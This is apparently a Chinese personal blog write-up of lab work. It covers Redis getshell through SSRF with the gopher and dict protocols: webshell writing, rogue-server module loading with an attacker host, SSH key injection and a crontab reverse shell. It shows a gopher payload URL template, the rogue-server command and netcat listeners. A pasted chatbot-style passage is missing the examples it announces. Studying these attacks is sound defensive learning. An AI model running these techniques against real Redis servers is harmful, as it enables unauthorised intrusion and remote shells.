Redis + SSRF + Gopher

slug
series-status
status
summary
date
series
type
password
icon
tags
category

Redis + SSRF + Gopher

前言

一直以来对redis都没有怎么研究过,这段时间做了一下网鼎杯玄武组的SSRF ME这道题感觉学习了很多同时也深感自己水平之低,所以就趁热打铁研究一下redis的一些getshell
redis的getshell基本上都是因为未授权访问或者弱口令等导致的。
由于redis服务很多时候都是处于内网之中所以在实战中常常会将redis和ssrf漏洞联系起来
因此在讲到redis getshell的时候不可避免的会经常提及到ssrf

前置知识-RESP协议

CRLF(简单介绍)
RESP协议是redis服务之间数据传输的通信协议,redis客户端和redis服务端之间通信会采取RESP协议,所以在研究getshell之前我们得先知道数据结构是如何的,这样后期才知道如何进行数据的伪造
RESP协议传输过程中判断数据类型是通过首字节来判断的,主要为以下这几类
  • Simple Strings 首字节为+ 后面紧跟字符串 例:+OK
  • error 首字节为- 后面跟报错信息 例:-ERR unknown command 'foobar'
  • Integer 首字节为: 后面跟整型数据
  • Bulk Strings 首字节为$ Bulk Strings是一个安全的二进制结构,由两部分组成,第一部分表示有几个字符$3,第二部分则是字符串部分
  • Array 首字节为* Array就是数组也是由两部分组成,第一部分表示数组有几个元素 *3 ,第二部分则是元素的具体的值
为了比较直观的来看,我们这里抓包一下看看redis在传输过程中的数据是怎么样的
1.利用tcpdump命令进行流量监听我们的6379端口
  • w 会将抓到的数据保存为 test.pcap 这样wireshark打开就非常直观了
  • i 要抓的网卡(这里我的redis搭建在本地,lo则正好是本地,根据环境自己进行修改即可)
2.进入redis,执行 set name KpLi0rn​,此时执行完成之后可以看到tcpdump那边会监听到流量ctrl+c结束,然后将我们保存好的包用wireshark打开看看
主要是红框部分的Data,Data就是redis传输的数据
notion image
notion image
按照如下步骤可以将hex -> text
notion image
看到的结果就是我们的RESP协议了
notion image
3:数组有三个元素分别是 set , name ,KpLi0rn
下面这个则是Bulks String结构
+OK:这个是redis服务器对redis客户端的响应
RESP协议每一行都会以CRLF来进行结尾(回车,换行)这一点从之前的图片中可以很清晰的看出(%0d 回车 %0a 换行),这里我理解为协议的格式,每个以首字节开头的字符串都会以CRLF来进行结尾(例:+OK\r\n),从下图就能很清晰的看出
notion image
所以通过上面的例子我们可以发现RESP协议的格式是很易懂,同时也是很容易进行伪造的,放一个后面伪造好的例子,红框是我们伪造成resp协议类型的payload,下面是收到的格式(转化脚本在下文)
notion image

为什么Gopher协议可以利用ssrf在Redis上执行命令

攻击者可以利用 Gopher 协议、SSRF(Server-Side Request Forgery)以及 Redis 未授权访问的问题来执行一些 Redis 命令,原因如下:
  1. Gopher 协议: Gopher 是一个简单的文本传输协议,可用于传输任意文件。由于 Gopher 协议的简单性,它可以被用作构造特定格式的请求。攻击者可以编写恶意 Gopher URL,并将其用于攻击其他服务。
  1. SSRF(Server-Side Request Forgery) : SSRF 是一种攻击手段,攻击者利用存在漏洞的服务器来向内部网络发起请求。这就相当于攻击者绕过了防火墙,访问了受保护的内部资源。通过 SSRF,攻击者可以将构造好的 Gopher 请求发送到目标服务器,进而影响 Redis 进程。
  1. Redis 未授权访问: 如果 Redis 服务配置不当,可能允许未经授权的访问。这使得攻击者可以对 Redis 数据库进行操作,包括读取、修改数据和执行一些危险的命令(如 CONFIG​, FLUSHALL​ 等)。
当攻击者利用这三个因素组合起来时,他们可以构造一个特定格式的 Gopher URL,通过 SSRF 向存在漏洞的服务器发起请求,使其访问内部的 Redis 服务。如果 Redis 服务未经授权,攻击者可以通过 Gopher 请求执行 Redis 命令,从而实现对目标服务器的攻击。
为了防止此类攻击,建议采取以下措施:
  • 对外部输入进行严格的过滤和验证,防止 SSRF 漏洞。
  • 禁用或限制 Gopher 协议的使用。
  • 为 Redis 服务设置密码验证,限制访问权限。
  • 对服务器的内部网络进行隔离,降低被攻击的风险。
确实,Gopher 协议本身并不能直接执行命令,但它可以用于构造特定格式的请求。在这种组合攻击中,攻击者利用 Gopher 协议构造特定格式的请求,通过 SSRF 向 Redis 服务发送请求。
下面是一个简化的示例,以说明这种组合攻击是如何进行的:
  1. *假设存在一个 SSRF 漏洞的 Web 应用,允许用户输入 URL,然后服务器会请求这个 URL 并返回结果。**​http://example.com/fetch?url=<user_input_url>​​
  1. 攻击者发现 Web 应用内部的 Redis 服务未设置密码验证,可以直接访问。
  1. 攻击者构造一个 Gopher 请求,用于向 Redis 服务发送命令。例如,让 Redis 服务设置一个键值对:
这个请求会发送以下 Redis 命令:
  1. 攻击者将构造好的 Gopher 请求 URL 作为输入,发送给存在 SSRF 漏洞的 Web 应用:
  1. 存在 SSRF 漏洞的 Web 应用会请求这个 Gopher URL,这会导致向内部 Redis 服务发送 SET key value​ 命令。由于 Redis 未设置密码验证,攻击者利用 SSRF 成功执行了 Redis 命令。
通过这个示例,可以看到 Gopher 协议在组合攻击中的作用。虽然 Gopher 协议本身并不能直接执行命令,但它可以帮助攻击者将 SSRF 漏洞与 Redis 未授权访问结合起来,实现攻击。注意,这只是一个简化的示例,实际攻击可能会涉及更复杂的命令和操作。
  • *抱歉刚刚的示例可能造成了一些误导。**​SET​ 是一个 Redis 命令,它用于设置键值对。在示例中,我试图展示如何利用 Gopher 协议构造一个请求,以在 Redis 服务上执行 SET​ 命令。
Redis 使用 RESP (Redis Serialization Protocol) 作为其通信协议。当客户端向 Redis 服务器发送请求时,通常会使用 RESP 格式。但在这个组合攻击示例中,我们使用 Gopher 协议来伪造一个简化的 RESP 请求。
在正常情况下,使用 RESP 协议发送 SET key value​ 命令会是这样的:
然而,在这个组合攻击示例中,我们使用了 Gopher 协议构造了一个简化版的请求:
这个请求会发送以下内容:
虽然这个请求并不是严格遵循 RESP 协议的,但是 Redis 服务仍然可以正确解析和执行这个命令。这是因为 Redis 命令解析器具有一定的容错性,并且简化的请求格式与 Redis 所期望的命令格式相似。
  • *总之,在这个组合攻击示例中,**​SET​ 是一个 Redis 命令,而不是一个协议。我们通过 Gopher 协议构造了一个简化的请求,以在 Redis 服务上执行该命令。

前置知识-Gopher协议/Dict协议

长亭的这篇文章写的非常好:https://blog.chaitin.cn/gopher-attack-surfaces/
Gopher协议和dict协议是在SSRF漏洞中经常会使用到的,同样的在redis getshell当中也会经常使用到
Gopher 协议:在 HTTP 协议出现之前,是 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。** **Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面 (个人觉得当作http来看待就行了)
Dict协议:dict是基于查询响应的TCP协议,在实际过程中和gopher协议效果相似但是会有一些区别
  • Gopher传输
利用nc 和 curl 来进行一个小实验
我们来看看监听到的信息是什么
notion image
我们可以看到我们的信息是test但是最终接受到的是est,所以可以发现gopher协议在传输过程中第一个字符是会被吞掉的,所以我们在传输过程中第一个字符改成没有用的字符就可以了类似_​​ ,可以看到这样就正常了
notion image
  • dict协议
dict协议和gopher协议最大的区别就是 dict一次只能一句,因为dict协议传输数据之后会自动加一个QUIT ,同时dict的第一个字符不会被吞
如图可以看到dict中第一个字符不会被吞,但是结尾会带一个QUIT
notion image
两张图放在一起对比一下:
这样对比就很明显了
notion image

漏洞成因

redis漏洞的主要成因就是未授权访问,弱口令,以及不正确的配置bind导致别人可以直接连接服务
主要问题都是redis.conf的不正确配置和高权限运行redis服务
  1. redis.conf的不正确配置
下图是一个redis.conf
notion image
中间两个最主要的是
Bind 和 protected-mode
  • bind : 这个就是redis绑定的地址,意思就是允许登陆redis服务的ip,默认是127.0.0.1(设置为127.0.0.1的话就相当于redis服务只能本机进行登陆)如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆
  • Protected-mode : 这个功能是自redis 3.2之后设置的保护模式,默认为yes,其作用就是如果redis服务没有设置密码并且没有配置bind则会只允许redis服务本机进行连接
  1. 使用root权限运行了redis服务
现在redis服务启动默认是redis,所以我们写的shell权限也是很低的
notion image
可以看到我们的shell 权限是 644 权限非常低
防范措施:设置高强度密码,将bind修改为内网的地址或127.0.0.1

redis getshell四种方法

  1. 绝对路径写shell,将shell写在web目录下
  1. redis公钥导入
  1. 利用定时任务进行反弹shell(centos)
  1. redis 主从复制getshell

绝对路径写shell

这个方法和sql注入中利用日志写shell感觉有一点点相似
此方法可以结合ssrf漏洞或redis服务没有做好安全措施导致可以远程连接

条件

  1. root权限启动redis服务
  1. 需要知道目标的web目录绝对路径

实验环境

ubuntu 16.04,kali 2018,Redis 5.0.0
受害主机: ubuntu 192.168.189.208
攻击主机: kali 192.168.189.129

漏洞复现

首先kali下利用redis进行连接
如下图,连接成功
notion image
接下来进行写shell
notion image
可以看到ubuntu下的/var文件夹成功被写入
notion image
在实战使用的时候,通常是利用redis和ssrf漏洞进行结合,将shell写到对应的web目录下
这时候就需要借助gopher协议来帮助我们完成
这里需要用到一个转化脚本将我们的代码转化成RESP格式
Python2 进行执行
notion image
复制输出的结果
在kali中运行如下代码
notion image
看到5个ok(这里我们的命令有5条,所以会有5个OK),说明恶意代码已经执行成功了 去ubuntu发现果然写进去了
notion image
那么在遇到SSRF漏洞的时候,由于SSRF漏洞可以请求内网的服务,所以我们可以首先进行一个全端口扫描,如果发现了redis服务,利用gopher协议打过去就可以了
?url=gopher://0.0.0.0:6379/_xxxxxxxxxxxxxx
生成的shell权限都是644,mac本地模拟了一下,可以连上就是权限太低辣,后续需要提权
notion image

Redis主从复制getshell

实验环境:ubuntu 16.04,kali 2018,Redis 5.0.0
受害主机: ubuntu 192.168.189.208
攻击主机: kali 192.168.189.129

影响版本

redis 4.x 5.x

主从复制介绍

redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担。所以redis采用了主从模式来缓解。主从模式就是让一个redis作为主机,另外的redis作为从机(可以理解为备份机),然后主机和从机中的数据是完全一样的。然后主机负责写,从机负责读。通过读写分离还缓解服务端上的流量压力

漏洞成因

在redis 4.x 之后新增了模块功能,可以允许我们引入外部拓展文件来实现新的redis命令,所以这个漏洞引入了恶意的外部拓展文件而导致的

漏洞复现

利用这个payload进行反弹shell
然后执行命令 python3 redis-rogue-server.py --rhost= ubuntu的ip --lhost= kali 攻击机的ip --exp=exp.so
(在复现过程中第一次会报错,但是再次执行payload就好了)
当出来这个问句的时候 kali另起一个终端 nc -lvvp 4444​ 进行一个监听
成功反弹shell 并且执行了命令

redis 写入ssh公钥

条件

  1. 目标主机开通了ssh服务
  1. root权限启动了redis服务

原理

通过向受害机写入ssh公钥,然后利用本地的私钥进行ssh登陆这样就不需要密码了
当以root身份运行redis服务的时候,可以通过redis命令给root用户写入ssh公钥
大致思路如下:kali创建一对rsa公钥和私钥,利用gopher协议让redis执行命令将ssh公钥写入root用户(写入到/.ssh文件夹),然后ssh -i利用本地私钥直接进行免密码登陆

实验环境

ubuntu 16.04,kali 2018,Redis 5.0.0
受害主机: ubuntu 192.168.189.208
攻击主机: kali 192.168.189.129

漏洞复现

kali下执行 ssh-keygen -t rsa​ 这里我由于之前已经创建过了所以才会提示是否overwrite
notion image
这样的话我们的密钥对就在我们的 /root/.ssh下了
notion image
查看我们的id_rsa.pub,复制到我们的脚本payload中
notion image
转化的python脚本如下
python2 redis.py​获得运行结果,然后 curl ,可以看到有5个OK说明代码顺利执行了
notion image
然后回到 /root/.ssh 文件夹下,用里面的私钥通过ssh直接进行登陆
notion image

crontab 定时任务反弹shell (仅限centos)

条件

  1. root权限启动redis服务
  1. 目标系统为centos

原理

将redis中的dbfile 目录改为centos中定时任务的目录(/var/spool/cron),然后在redis中执行 反弹shell的命令,这样redis就会将数据存在dbfile中,同时又在定时任务的目录下,所以centos就把这个文件当作定时任务来执行了
由于redis输出的文件都是644权限,但是ubuntu中的定时任务一定要600权限才能实现所以这个方法只适用于centos

实验环境

Redhat (靶机),macOS 10.15(攻击机)

漏洞复现

首先以root权限启动我们的redis服务器(如果redis不是root启动的话我们是无法修改目录路径的):
notion image
执行命令
notion image
mac下执行监听 nc -lvvp 4444​,等待一分钟过后即可
notion image
Loading...

尚未开始
更新中
近期核心
已完结
已弃更

© River 2021-2025